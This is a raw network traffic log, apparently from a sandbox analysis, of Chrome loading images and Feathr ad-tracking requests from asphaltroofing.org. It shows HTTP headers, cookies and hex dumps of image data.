2024-04-23 14:54:28 UTC	520	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:28 GMT Content-Type: image/png Content-Length: 545158 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 16:31:22 GMT ETag: "1be1e2e-85186-5d9f3dc6d8a80" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:54:28 UTC	7672	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 d0 00 00 05 35 02 03 00 00 00 36 40 b7 f2 00 00 00 0c 50 4c 54 45 45 4a 49 2f 32 32 20 21 22 12 12 14 e2 87 80 f9 00 08 00 00 49 44 41 54 78 da 4c fd 51 8c 1b d9 99 26 0a 9e c8 ca 88 ec 4a ed d8 99 de 8c 2c 27 13 96 66 81 aa 46 4b b5 2e bd dc fb 30 7d 31 dd c1 9a 24 0b 56 01 77 22 6a e2 9c 2c 06 61 a5 0c 64 a4 2b 82 23 f2 c5 be 68 c9 6b 65 aa c7 55 0d cc 7d 21 7d 79 42 43 12 d7 a5 5a f0 44 29 4e b4 18 fd 20 19 c5 c8 56 44 ef c3 ec be aa 06 4a 35 c6 06 76 e5 8b 64 b6 19 dc 4e f6 00 ca da 62 70 f2 fc fb 20 db 33 7c 21 c0 d7 8f ff 7f be ef 3b df ff 1f 94 a7 00 00 00 79 04 22 05 00 71 ca 45 2f 15 29 c0 1c 00 e6 82 cf 07 09 9f f5 60 02 e2 5e 94 a7 30 1b 98 3c 61 db 5f 71 96 0e 06 98 35 60 3a 3f 14 84 aa Data Ascii: PNGIHDR56@PLTEEJI/22 !"IDATxLQ&J,'fFK.0}1$Vw"j,ad+#hkeU}!}yBCZD)N VDJ5vdNbp 3\|!;y"qE/)`^0<a_q5`:?
2024-04-23 14:54:28 UTC	8192	IN	Data Raw: 80 f4 bf d3 6e 00 62 2f ae 4d 5e f9 36 39 9f 8f 23 00 98 42 37 05 01 09 c5 29 cc ea c6 ba 60 22 ec 79 47 83 f8 dc c1 b6 81 77 f0 ff 62 d7 04 4e 62 5c 1f be c5 b0 ba 7d 52 cd 31 8e ff 81 a4 39 2d bb bc b6 9d 0b ce 59 3a 7e 8f 05 4e 3d 0b a4 54 94 30 5e c4 db c2 65 aa e5 61 f2 d3 f6 85 c9 59 6d 96 79 2e 8c 2a 9a ff fc 69 9d c7 6d 07 32 5c 62 e8 6d dd 74 05 fd 48 d2 56 a4 fe 86 05 5a e1 e8 f6 81 b1 6e 4b 0f 91 cc 27 71 d9 f7 db 68 e9 d8 91 67 0b d7 28 96 4a 56 e5 e6 06 66 6f 1f 38 ef b7 31 5e 1d b4 f9 b1 1b a3 eb 3c ec fa 31 c7 2b 34 18 f6 4b 5b db 33 2b 28 67 fd 7a 69 6f b8 d1 4a 1e 6d 06 1a 76 b3 e0 83 7c 7f 21 2e 53 86 9b bb 2a 08 72 7d 2b 0d e7 00 f0 f5 d2 fc c5 aa 8e d6 94 79 7c 1f a1 b7 de 70 34 b5 ee 6e 20 89 b9 56 3d d7 6c 13 15 54 7d 45 c6 ce 5e 49 Data Ascii: nb/M^69#B7)`"yGwbNb\}R19-Y:~N=T0^eaYmy.im2\bmtHVZnK'qhg(JVfo81^<1+4K[3+(gzioJmv\|!.Sr}+y\|p4n V=lT}E^I
2024-04-23 14:54:28 UTC	8192	IN	Data Raw: 8e 25 5c 6e ba 6d d4 46 48 47 7f 8b 14 0d bd e3 ea 64 b3 87 10 e6 1f 7e 63 b0 77 5a 16 b9 fe e3 9d f4 00 21 86 e4 c2 87 df 3c 40 ea 86 66 ff bb e7 65 aa d9 1d ed 5f 71 a7 54 b9 37 46 a8 d0 1b af 2d ae 19 44 00 9c 21 a4 0c d4 ea cf f0 90 29 81 7e 5f 97 8e 10 c3 9b 73 ff 88 df be 6e 9b 0d ef af f0 a5 87 6b b2 b6 b5 9b f8 38 85 20 8e 93 68 c2 9f 58 27 54 50 97 73 13 e3 3d 80 f3 06 0b e7 1c b2 01 70 77 7b 1e 0f 38 11 a7 3e db 48 b2 c3 74 9a 88 41 16 1d 71 4e 1b 00 9c 3a 75 24 fe 5b 72 26 15 29 00 44 73 98 e7 af e2 72 5d 3b e4 7e 0d e6 00 42 9c 40 38 73 d3 70 02 93 11 87 87 ce ad 88 73 df 8a 07 d9 cf d6 85 f7 b0 52 49 a6 ad 86 e0 6e 16 94 1c 76 33 29 56 7e 4c 9e 26 03 31 38 04 e1 5c f5 39 46 58 de 14 e3 8a be 1f 07 aa 63 85 c0 de c8 02 3e e9 51 b3 82 b1 c1 98 Data Ascii: %\nmFHGd~cwZ!<@fe_qT7F-D!)~_snk8 hX'TPs=pw{8>HtAqN:u$[r&)Dsr];~B@8spsRInv3)V~L&18\9FXc>Q
2024-04-23 14:54:28 UTC	8192	IN	Data Raw: 27 4c 70 11 c2 29 8f ef 9c a2 01 00 9c 76 60 80 fd df 2f 0a 0d 01 80 55 05 0f 27 9c df 26 6e 98 e3 8a 13 4d a2 29 07 5e 89 8e f6 f6 43 f8 87 b1 c5 66 b8 21 f0 4e 3e cd 3a 49 ab 9c f1 98 77 62 b6 99 66 7c e4 7a 5e 1e 28 cc e2 87 f3 f8 90 69 92 47 62 ce 0a 54 b5 b6 1a 27 7d 24 75 fd 0c 4b 8c 24 01 31 76 ef 30 09 dd e6 ec 87 b1 85 2f b4 0b b5 f4 f4 af 25 fe b5 f4 f4 62 80 8a aa d5 44 85 aa 47 ad 87 e8 8f ef 5e 19 3d b1 1e 9b 57 46 8b 48 71 33 5e cb 79 8b 75 fb 32 47 ff 7a 1a b7 15 1e 78 d9 79 6d 54 4b 45 1d d5 4e d2 ac b2 97 cf 47 10 3f b9 c4 b2 ad ea 3c d3 6a be 23 ef 4c 41 db 07 2f e6 5c 74 b3 6e bc bb 56 88 f7 ac 97 78 5b 64 7d d2 1d b9 d3 31 36 f4 cd cc c1 92 4b 9a 3f 25 d0 76 75 89 37 97 bd 63 a4 6c 03 00 d0 1d 8e 5b 8f 9c c2 91 b6 d0 3d 5a c0 78 ff f9 Data Ascii: 'Lp)v`/U'&nM)^Cf!N>:Iwbf\|z^(iGbT'}$uK$1v0/%bDG^=WFHq3^yu2GzxymTKENG?<j#LA/\tnVx[d}16K?%vu7cl[=Zx
2024-04-23 14:54:29 UTC	8192	IN	Data Raw: 86 91 de c6 a0 1b ba c8 5c 74 35 d3 32 f1 33 36 22 c5 61 b1 41 fa 5d 87 99 ad 88 96 89 7f f4 b9 17 e1 71 76 44 49 65 16 10 b6 bd d8 f5 a4 22 65 95 fa 3c 89 ab 82 36 8d bc b4 28 a8 29 13 9d 5e d8 b5 09 73 70 e3 7d 36 4a 3c 5a f0 5f a9 4b ec 78 81 19 14 aa 56 f1 fd 80 9a 7d ed 47 3c 31 dc 25 99 bf c9 fa 7a b3 f4 83 86 b0 01 a6 d5 2d 9c 93 81 33 87 44 2d 54 09 01 15 3a 65 5d 73 9f 13 56 17 b6 39 d6 2b 62 eb 0f cf 0d 89 5c f6 a7 44 50 4a b5 97 1b f3 eb 18 f9 8d 67 5a bb 6c 68 f2 47 ef b0 1a 1b c1 7c dd 10 2d e2 74 62 84 58 fa e2 d1 c3 1f d4 a1 36 9c bf db 59 68 d9 3c 08 8f 93 1c d3 3a e7 a2 32 21 42 81 a4 47 3a 45 c4 57 d6 fb 43 91 9c 7b 42 b8 7d 2e 99 03 d6 b0 d4 b3 bc ba d0 13 79 65 5a 25 2c 02 b8 45 e6 e9 a7 af 16 72 7c 42 4b 88 09 39 26 42 6d 28 5c 3e e8 Data Ascii: \t5236"aA]qvDIe"e<6()^sp}6J<Z_KxV}G<1%z-3D-T:e]sV9+b\DPJgZlhG\|-tbX6Yh<:2!BG:EWC{B}.yeZ%,Er\|BK9&Bm(\>
2024-04-23 14:54:29 UTC	8192	IN	Data Raw: 2c 54 0d 69 4d 6b 68 6c d0 ed e5 66 4d 49 e6 85 5d 38 f5 5e b6 ab dd ef b6 cd 67 89 27 96 bf 31 90 f5 6e 71 aa 7c 95 65 54 f7 83 29 c9 e5 5f e9 ed 4e 4c cc e6 78 fd 21 f0 4b 32 37 58 de 78 3b 4a dc 53 02 eb e4 a3 f4 3d 2a fd db 5d de 20 95 3a 7f fb 59 ce d3 97 2d be a5 d3 f2 1f e7 ea a0 0a 84 6f 4d ab 7a 27 75 5e 1c d0 5e 6e 6b c3 78 cc 53 99 2f b3 96 92 8a e5 6c 99 cb cb 09 26 35 17 c3 5a 38 46 ac 83 6c 24 48 0a d2 8f 00 f8 81 24 34 ac ca 11 2f 97 c5 2c bd d3 31 3b e7 17 48 42 67 77 bf d4 aa 5c 01 20 d7 ee e4 9f a5 4c 95 b3 74 dc e5 88 cc 11 f1 a2 f3 14 4a da 76 e6 c2 e5 06 ad 5b 57 7e ee bb cf 3b 27 96 f8 47 8f 38 f3 e1 c9 2f 24 31 bb 9f 02 d0 28 31 29 67 2f 37 61 cd ec a4 b6 3f 32 86 b9 96 d3 62 1d 3e 47 3a c9 4d 52 ee 98 54 cb 2d 5a 05 a6 f7 ac 2b bf Data Ascii: ,TiMkhlfMI]8^g'1nq\|eT)_NLx!K27Xx;JS=*] :Y-oMz'u^^nkxS/l&5Z8Fl$H$4/,1;HBgw\ LtJv[W~;'G8/$1(1)g/7a?2b>G:MRT-Z+
2024-04-23 14:54:29 UTC	8192	IN	Data Raw: d0 aa 64 5a 84 80 38 4f b3 de 61 b4 b5 b5 7b 2a f1 14 8a c1 19 52 e0 d6 f7 0d d3 69 b3 61 aa 9c 4a f4 05 90 e7 df 09 9e 44 5d a7 ae e5 ef f7 b9 df 88 00 1c 9b 2a f5 eb b1 5c 23 b7 36 15 88 4e c9 02 71 ea 27 dc 60 20 dd e0 21 39 38 d8 9f 6b 7d dd ca 91 55 ad 99 4a bc 6f bf c3 44 72 3b 6c 9e 82 b2 45 cf 7c 65 54 22 1c fa 56 e5 1a bc f7 93 57 89 e6 ba 75 23 99 59 59 9a 07 00 ee d3 1c 00 a7 8a f0 a1 ae b5 ac 4f b6 8a 5f 76 80 fb 40 00 e0 52 0a 01 ab af 05 37 de b6 c2 23 a2 d7 d5 6f f1 67 c1 54 97 78 5d 29 b7 9f 8f da f9 eb 67 ff 2c 3d 9e 1a 97 9b a9 53 9c 78 1d 3e 82 18 d5 a2 92 cc 85 8f 21 6f 15 51 05 f3 69 99 aa 83 04 ab 3f 04 45 4c d3 84 55 6d 6f c0 53 61 d9 b1 95 b2 95 af 60 50 ff 89 27 6d 9f d3 88 dd 96 6c 59 9d 6f e1 90 a8 5c 5f 43 7c a1 ed 0a 7e d9 1f Data Ascii: dZ8Oa{RiaJD]\#6Nq'` !98k}UJoDr;lE\|eT"VWu#YYO_v@R7#ogTx])g,=Sx>!oQi?ELUmoSa`P'mlYo\_C\|~
2024-04-23 14:54:29 UTC	8192	IN	Data Raw: cf fd 8e fc 75 b6 82 25 11 13 db 27 3d 74 72 26 2a 3d 27 94 9d c5 7d 62 ca 09 71 83 fd 68 8b 40 98 04 51 88 71 b2 16 10 42 22 4c 08 19 db e1 24 1e e0 03 e4 87 c9 1a d6 ff cd 28 24 89 c3 0c 23 53 26 66 90 d8 11 fe 34 72 83 87 7a 84 eb 2f f9 80 38 a6 d2 4d 2f 3d 5c 2a b0 95 64 10 3d 63 3c df 1a 9d ae fd 76 4d 17 a9 be 83 20 13 7d 9d bb f5 40 57 76 57 77 4a 4b 45 82 f1 21 e6 d8 05 77 f8 5b 6a 57 63 be 49 43 f6 06 92 b5 54 d4 d2 34 b6 11 b5 5e ca 3d 69 9d 85 d0 fa 92 a2 c5 eb f3 8a d9 2e 72 8c 8c 1f d0 38 60 2d 16 32 c6 b9 fd 82 b2 4c a6 58 b8 9e da 88 fc e6 29 6d 3e d2 d6 47 86 2a 41 e6 45 9a 52 84 f9 36 28 fd ba fc 80 b2 c4 6b 8c ab 55 58 5d 71 c4 f0 df 8d 2b 98 15 d2 6f 8e c4 cd a5 a5 4b b6 01 02 9c 93 dd 5b c2 c9 fb 8b 64 97 c6 be 1b ae fe 8a 4c 7f b9 7d Data Ascii: u%'=tr&='}bqh@QqB"L$($#S&f4rz/8M/=\d=c<vM }@WvWwJKE!w[jWcICT4^=i.r8`-2LX)m>G*AER6(kUX]q+oK[dL}
2024-04-23 14:54:29 UTC	8192	IN	Data Raw: d8 bc c4 0b 3a 00 50 85 b7 10 92 8d 77 bc 0a 3a 39 fa 44 6d c4 06 2b 01 c0 65 e3 1a bc 33 60 d5 ba 00 67 2a 64 cf 83 a1 1b 70 48 73 aa 37 cd 32 ae 25 bd a0 82 9f b7 ba 5c 3f b4 fd 28 92 25 5a df da 4a f6 3b 4e 6f 58 21 40 08 21 3e 49 42 32 b6 70 3c 34 1b 63 37 99 26 24 c1 24 3a ea 8d 3e b5 02 92 e0 9a 29 21 84 1d 13 2f 89 08 85 64 d2 f3 06 72 b0 53 c7 a1 8d 23 34 d4 1f 72 83 30 0e 3e 19 ae 3a 28 7b 99 bc a2 74 d9 73 08 99 29 8f cf 99 4a af f3 50 36 4b ee d0 29 39 61 45 d9 cb 57 76 c2 a1 a4 c9 c9 67 07 5a 36 bf e7 c8 1b e7 a3 e1 43 aa 0d 32 aa 05 ff e7 88 ee 52 78 7b d9 dd e1 45 1d 65 6a a6 1f 23 66 20 de 42 f2 c0 46 0d 92 64 2f fc db 8f c0 f4 9d d6 ea 2e 50 d6 70 13 e0 0c 67 99 8e 81 b1 cf be 23 6f 67 01 f5 24 38 06 d4 1e 72 67 55 4a e0 b6 2b f1 dd 2d a4 Data Ascii: :Pw:9Dm+e3`g*dpHs72%\?(%ZJ;NoX!@!>IB2p<4c7&$$:>)!/drS#4r0>:({ts)JP6K)9aEWvgZ6C2Rx{Eej#f BFd/.Ppg#og$8rgUJ+-
2024-04-23 14:54:29 UTC	8192	IN	Data Raw: 64 76 6e 57 d0 d2 ff 37 ec 38 73 f1 4b 21 75 96 36 01 4e a5 b3 3a 4b af de be 9e 95 81 e2 7e d2 2a 75 53 3b 56 59 b8 19 5e 64 ff 6c 0b 63 83 02 16 d6 9a d4 41 1b 9e c1 f2 41 b6 93 5e b8 34 62 99 12 3b 8f 10 88 4d fa f3 97 74 ba 60 64 ba a7 bb c0 7e 97 7b 02 73 af ea ac fc b5 d1 9c 83 14 71 53 f1 87 63 00 a4 2a d7 14 f6 7b f4 0a 64 7c b6 50 36 d1 5b 6c be 6c 39 b5 61 26 d6 90 dd 70 3d b8 2e 2b 6d a4 5f f4 34 21 b3 79 a6 62 a2 a1 9c f1 85 94 27 63 47 be 68 2c a4 fa 7a 90 88 f2 a1 67 d6 2f e2 c4 27 93 e4 31 1d e0 a1 0f 84 78 1b 91 4f 70 90 4c ff 79 9d 22 aa 90 b1 2f 1f ee f7 fc 71 85 4c 08 d9 7a d6 38 24 a4 af 90 83 15 fb 79 bd d2 73 07 e1 2c 8c 7b 31 56 4b ee 38 ff e7 66 82 64 76 ee 21 be f9 69 82 6d bc 11 61 df b9 e9 5b 07 6c 9e 2d a6 23 32 f1 de 5e d0 3e Data Ascii: dvnW78sK!u6N:K~uS;VY^dlcAA^4b;Mt`d~{sqSc{d\|P6[ll9a&p=.+m_4!yb'cGh,zg/'1xOpLy"/qLz8$ys,{1VK8fdv!ima[l-#2^>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
299	192.168.2.6	50107	172.67.68.21	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:28 UTC	605	OUT	GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1 Host: polo.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.asphaltroofing.org Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:28 UTC	898	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:28 GMT Content-Type: application/json Content-Length: 43 Connection: close Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mveg2EA%2F92%2ByAZIaTGZQ0WxV1ANCwzWjxLxYs%2B307tCf1AslKZPynwLOR3b%2BBlC8%2FsSLfbt5s0tKiLk%2Fj8MjmxKRFFc48z4s6vpJLzZFmzeuDEMVjABeAUHlHU9Aam2m"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eb0655ed84533-ATL
2024-04-23 14:54:28 UTC	43	IN	Data Raw: 7b 22 69 6e 74 65 67 72 61 74 69 6f 6e 73 22 3a 20 5b 22 74 72 61 64 65 64 65 73 6b 22 2c 20 22 66 61 63 65 62 6f 6f 6b 22 5d 7d Data Ascii: {"integrations": ["tradedesk", "facebook"]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
300	192.168.2.6	50108	18.160.78.62	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:28 UTC	630	OUT	GET /v1/refresh HTTP/1.1 Host: marco.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:29 UTC	805	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 43 Connection: close Date: Tue, 23 Apr 2024 14:54:29 GMT x-amzn-RequestId: 827cad06-a025-4e5b-8cc6-eba0d2a462fc Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type,X-Amz-Date,Authorization,X-Api-Key Set-Cookie: f_id=6627cb818425280008d4a656; Domain=.feathr.co; Path=/; Expires=Wed, 23 Apr 2025 14:54:29 GMT; SameSite=None; Secure; HttpOnly x-amz-apigw-id: WrzB1ERJIAMEesg= Access-Control-Allow-Methods: * X-Amzn-Trace-Id: Root=1-6627cba5-12407fac5f730089083d0a56;Parent=3d66b57c9943f382;Sampled=0;lineage=5eb2f403:0 X-Cache: Miss from cloudfront Via: 1.1 869fd0f96fdb3c4fb055832b019f2d1e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ATL59-P2 X-Amz-Cf-Id: zEJC0z48lzfcumVDocygYG4wgKt1wx3G8Cym-UVpLz0RNM9WlHGeqA==
2024-04-23 14:54:29 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
301	192.168.2.6	50110	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:28 UTC	731	OUT	GET /wp-content/uploads/2017/04/AdobeStock_19797513-600x400.jpeg HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884066.0.0.0; _scc_session=pc=5&C_TOUCH=2024-04-23T14:54:26.896Z
2024-04-23 14:54:29 UTC	519	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:29 GMT Content-Type: image/jpeg Content-Length: 31679 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 15:27:57 GMT ETag: "1be1cb4-7bbf-5d9f2f9a1d940" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:54:29 UTC	7673	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 0a 0a 0a 0a 0a 0a 0b 0c 0c 0b 0f 10 0e 10 0f 16 14 13 13 14 16 22 18 1a 18 1a 18 22 33 20 25 20 20 25 20 33 2d 37 2c 29 2c 37 2d 51 40 38 38 40 51 5e 4f 4a 4f 5e 71 65 65 71 8f 88 8f bb bb fb 01 0a 0a 0a 0a 0a 0a 0b 0c 0c 0b 0f 10 0e 10 0f 16 14 13 13 14 16 22 18 1a 18 1a 18 22 33 20 25 20 20 25 20 33 2d 37 2c 29 2c 37 2d 51 40 38 38 40 51 5e 4f 4a 4f 5e 71 65 65 71 8f 88 8f bb bb fb ff c2 00 11 08 01 90 02 58 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 01 05 01 01 01 00 00 00 00 00 00 00 00 00 00 00 02 03 04 05 06 01 07 08 ff da 00 08 01 01 00 00 00 00 f6 60 00 00 e0 01 d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 28 b3 12 a7 48 d2 3e 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: JFIF""3 % % 3-7,),7-Q@88@Q^OJO^qeeq""3 % % 3-7,),7-Q@88@Q^OJO^qeeqX"`(H>
2024-04-23 14:54:29 UTC	8192	IN	Data Raw: 68 d4 5a f1 22 2c cf eb 24 3c f3 8c 3d 9e 6e 54 49 83 71 76 8f 56 61 92 57 78 47 39 f2 64 60 11 c6 2f b5 cd 6d 93 1d 98 24 ca bc 48 79 11 9e 4a a8 78 92 60 59 18 3a 10 b2 59 af 15 88 dd 25 f2 4f 1d bf 25 18 60 a6 9a b9 4b 32 95 d3 4a 70 68 e5 38 ba 09 4e 47 e3 72 b1 ca 1e 32 88 ca 5e 9c 2f 02 2a aa 87 c0 56 34 69 25 f2 cf 33 ba 65 34 a8 46 b6 6d 4b c4 7f b6 df fd a5 97 25 8e d5 56 eb 2f 88 f9 8d e8 a6 14 ef 39 59 a1 59 20 91 26 23 36 9a cf ac 84 24 93 f8 dc aa 58 a5 1f 1d 9c ca fc cb af d8 53 27 aa ed ad 57 f5 24 7b aa a2 4e 70 79 34 d1 00 52 0f 24 8d 87 27 fb 89 4f e0 ef d4 9f 63 7f c0 e1 7f b8 9c 67 ef fc 63 6f fb 7a 27 7c 84 70 7f 7e 8c 67 ef b0 af dd 8d bf 84 fe 7f 7f af 9f bf d5 fc e7 f7 05 4f ce 7f 72 d5 53 9f dd 10 60 6f e8 3f 38 72 2f 53 4a 30 ff Data Ascii: hZ",$<=nTIqvVaWxG9d`/m$HyJx`Y:Y%O%`K2Jph8NGr2^/*V4i%3e4FmK%V/9YY &#6$XS'W${Npy4R$'Ocgcoz'\|p~gOrS`o?8r/SJ0
2024-04-23 14:54:29 UTC	8192	IN	Data Raw: 07 f3 84 f0 ad 91 73 d3 96 65 c3 c1 62 33 81 9d 23 fe 7a a6 73 c6 76 e7 1b 8e 70 0f e4 75 07 0c 64 e7 c4 47 27 38 41 80 20 ce a8 73 e3 1f c1 8b de 08 5c e1 84 71 81 33 e1 e7 3e 11 ce 7c 7f ce 7c 7e b3 e3 ff 00 cf c4 be ce 7c 29 8d 0e 7c 4d c7 b1 1f 19 f1 80 30 8e 07 ae 8e 4f 24 46 40 39 d5 b0 46 dc e7 ae 7d f1 9f 17 38 b1 0c e8 01 3c 15 63 86 33 f8 c9 ae 47 52 ec ee d4 22 6b d3 1b 53 48 3e 67 04 a2 f0 59 b2 e4 21 e5 9d b3 c6 a5 96 4a b2 23 da 8c ff 00 30 23 2b 1c e7 29 3f 30 b2 9d de af db cf 14 32 10 0a b1 27 f8 e7 b7 2b 9b 07 92 ba 39 00 f3 84 e3 bf 7e 39 d0 b8 15 e0 53 b2 1d 6a 7a 0d e8 62 70 d8 13 2b 9f 63 20 3c 71 90 4d d1 15 72 2b 0b d3 9c 12 70 aa 4f 61 9c e7 61 8a c8 ea 18 10 32 52 03 b0 ce 41 c0 06 70 38 c1 9f cf b1 d4 60 2b 9d 97 9c 24 63 14 c3 Data Ascii: seb3#zsvpudG'8A s\q3>\|\|~\|)\|M0O$F@9F}8<c3GR"kSH>gY!J#0#+)?02'+9~9Sjzbp+c <qMr+pOaa2RAp8`+$c
2024-04-23 14:54:29 UTC	7622	IN	Data Raw: 81 1a 76 ca 65 7a 69 0d 86 0b 69 79 a0 61 e8 25 ed 71 79 88 f4 9f 23 31 5a e7 5e f9 50 8a e4 12 b9 8b 67 ba 02 2a 2b 85 22 10 ad 72 06 30 6d 62 b6 98 31 96 24 e1 d2 35 34 0b 6b 33 5e 54 57 35 11 46 59 5a c6 55 6a 48 8a 05 c8 ba 99 55 2b e3 62 09 08 46 18 aa a9 9d 98 8d 63 21 55 6b 74 47 01 2a d2 47 a8 52 c6 ab 84 5c 98 19 b5 fd 1f 89 da 99 16 da 53 75 e6 d1 b0 97 3b 4a be 5b 4a 68 14 88 f4 4d 43 b4 17 fd 1d 41 50 5a d3 ea a5 2a 6d 15 1d 6f 5d 06 44 c1 b3 15 66 b8 3c fd 39 4a 81 1c d5 21 fd fd 3d c8 04 0b cf ff 00 e9 ed 4a d8 85 b1 91 c6 50 a4 31 ec f5 14 7e 9a 9c d9 a9 de ae ce aa 83 9e a7 a8 a8 a6 51 14 c5 5a 28 a9 d3 56 8e 80 f7 13 f8 88 c8 40 17 b9 5b 9c fb 8c 62 a4 0b ae 01 a8 95 59 00 36 2b 86 f9 f6 9b c4 1d fd f3 4f 64 da cd 71 dc d3 5d c2 66 49 d7 Data Ascii: veziiya%qy#1Z^Pg+"r0mb1$54k3^TW5FYZUjHU+bFc!UktGGR\Su;J[JhMCAPZ*mo]Df<9J!=JP1~QZ(V@[bY6+Odq]fI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
302	192.168.2.6	50111	104.26.15.119	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:29 UTC	426	OUT	GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1 Host: polo.feathr.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:29 UTC	888	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:29 GMT Content-Type: application/json Content-Length: 43 Connection: close Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h2%2BBvpxV2UAN4yiEoYmK2ntQaaF3i0ryfD8SiJXHCUQDrnjgWLDR10xjGIR1wwO52rCCeLSodl4Bzf3WsSzbctqPhh4rknNJCkJg8I7hN4rkTpEbFn8TnUEYJyojXn2N"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eb0689f446756-ATL
